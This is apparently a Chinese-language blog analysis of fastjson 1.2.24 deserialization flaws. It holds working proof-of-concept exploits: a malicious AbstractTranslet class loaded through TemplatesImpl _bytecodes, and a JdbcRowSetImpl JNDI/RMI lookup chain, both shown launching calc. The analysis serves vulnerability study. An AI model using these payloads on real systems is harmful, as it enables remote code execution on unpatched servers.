测试环境
fastjson 1.2.24
Fastjson简介及用法
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象,常用在前后端分离的项目中,用来处理前端传来的json数据,JSON字符串和Java对象的转换就是基于序列化和反序列化来实现的。
演示代码:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
class Person{
int age;
String name;
public Person(){
System.out.println("Person无参构造");
}
public Person (int age,String name){
this.age=age;
this.name=name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setName");
this.age = age;
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
}
public class fastjson1Poc {
public static void main(String[] args) {
Person person=new Person(18,"Bob");
String jsonString= JSON.toJSONString(person);
String jsonString2= JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println("常用json字符串格式");
System.out.println(jsonString);
System.out.println(JSON.parseObject(jsonString,Person.class));
System.out.println("带@type属性的json字符串格式");
System.out.println(jsonString2);
JSON.parseObject(jsonString2);
}
}
输出:
常用json字符串格式
{"age":18,"name":"Bob"}
Person无参构造
setName
setName
com.test.Person@6d21714c
带@type属性的json字符串格式
{"@type":"com.test.Person","age":18,"name":"Bob"}
Person无参构造
setName
setName
getAge
getName
带有@type属性的字符串在被转换为对象时,会根据value值找到对应的对象,会进行一个实例化的操作以及调用属性的set和get方法,POC就是围绕这个点来构造的,有两种POC一种是利用TemplateImp对_bytescode赋值并调用实例化代码触发构造函数或静态代码块中的恶意代码,另外一种是利用JdbcRowSetImpl远程加载恶意类。
恶意类
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evilClass extends AbstractTranslet{
//需要继承AbstractTranslet,因为在defineTransletClasses中会判断是否继承了这个类没有会报错
public evilClass() {
super();
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
//两种触发方式构造方法和静态代码块
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
TemplateImp利用链POC :
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.bind.DatatypeConverter;
public class fastjson1Poc {
public static void main(String[] args) throws Exception{
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.getCtClass("com.test.evilClass");
byte[] bytes=ctClass.toBytecode();
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"" +
",\"_bytecodes\":[\""+DatatypeConverter.printBase64Binary(bytes)+"\"],"
+ "'_name':\"TempletaPoc\"," + "'_tfactory':{}," + "\"outputProperties\":{}}";
System.out.println(payload);
Object object = JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
在网上看到的POC中有一些是把一个base64字符串直接就赋值给了_bytecodes,像下面这个
String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwA..."
这个字符串是对恶意类转换成的byte数组进行base64加密得来的。
POC中可以看到@type,_bytecodes,_name,_tfactory,_outputProperties这4个key,这条利用链是通过对TemplatesImpl的_bytecodes赋值,再把_bytecodes字节码还原为类,并实例化,这两个操作主要是通过getOutputProperties方法触发的,可以看到触发了newTransformer方法,也就是cc2利用的方法,newTransformer方法中会同时进行还原为类和实例化的操作。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
_name,_tfactory这两个属性不为空就行,运行过程中不报错.
关键在于outputProperties,这个key也可以写成_outputProperties或-outputProperties都可以,因为fastjson在反序列化的时候会对key值进行处理,检测第一个字符是否为-或_,并替换为空,再通过outputProperties去触发这个属性的get和set方法,这时就会触发getOutputProperties方法实例化恶意类并触发恶意代码。
利用限制
这个利用链有一个限制,就是后台获取解析json数据要在方法中加Feature.SupportNonPublicField属性,像下面这样,因为outputProperties是private属性。
JSON.parse(payload, Feature.SupportNonPublicField);
JSON.parseObject(payload, Feature.SupportNonPublicField);
JdbcRowSetImpl利用链POC :
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
rmi版:
import com.alibaba.fastjson.JSON;
public class fastJsonPOC2 {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/class\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
rmi服务端和注册中心直接写一起了,没写一起可以用getRegistrt()方法获取注册中心再绑定类,这个方法也可以用来攻击注册中心。
根据FasJson的解析过程,dataSourceName这里会进入到else代码块中调用父类setDataSourceName(var1),
public void setDataSourceName(String var1) throws SQLException {
if (this.getDataSourceName() != null) {
if (!this.getDataSourceName().equals(var1)) {
String var2 = this.getDataSourceName();
super.setDataSourceName(var1);
this.conn = null;
this.ps = null;
this.rs = null;
this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
}
} else {
super.setDataSourceName(var1);
this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
}
}
autoCommit会调用到setAutoCommit
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
这里会调用到this.connect(),可以看到代码new InitialContext生成jndi上下文环境,然后调用lookup()请求this.getDataSourceName()
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
为什么JdbcRowSetImpl中的lookup可以请求rmi协议的路径?
因为JDBC本身也是属于JNDI中的命名目录服务。
限制条件:
这条利用链的限制不大,对于后端解析JSON字符的语句也没什么限制,只有不出网时会失效。
TemplateImp利用链POC :
总结
分析了两条利用链简单总结下,其实有第三条。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
利用用链是通过Java字节码类发漏洞,但是需要后端代码解析JSON字符串时传入Feature.SupportNonPublicField
参数,这个就碰运气了。
com.sun.rowset.JdbcRowSetImpl
、
利用链用到的是JNDI注入,利用限制不多,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用。
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
第三个利用链是一个比较老的利用链了,也是一个字节码的利用,这里涉及到的是BCEL字节码操作库,无需目标额外开启选项,也不用连接外部服务器,但是对fastjson版本有要求小于等于1.2.24,在1.2.25之后Fastjson默认关闭了autoType功能并且增加了autoType功能开启时的类黑白名单,有一些绕过方式都是假设后台代码开启了autoType功能去绕过,再往后出现了一种不需要autoType功能开启的利用方式,关于绕过方式后面再写。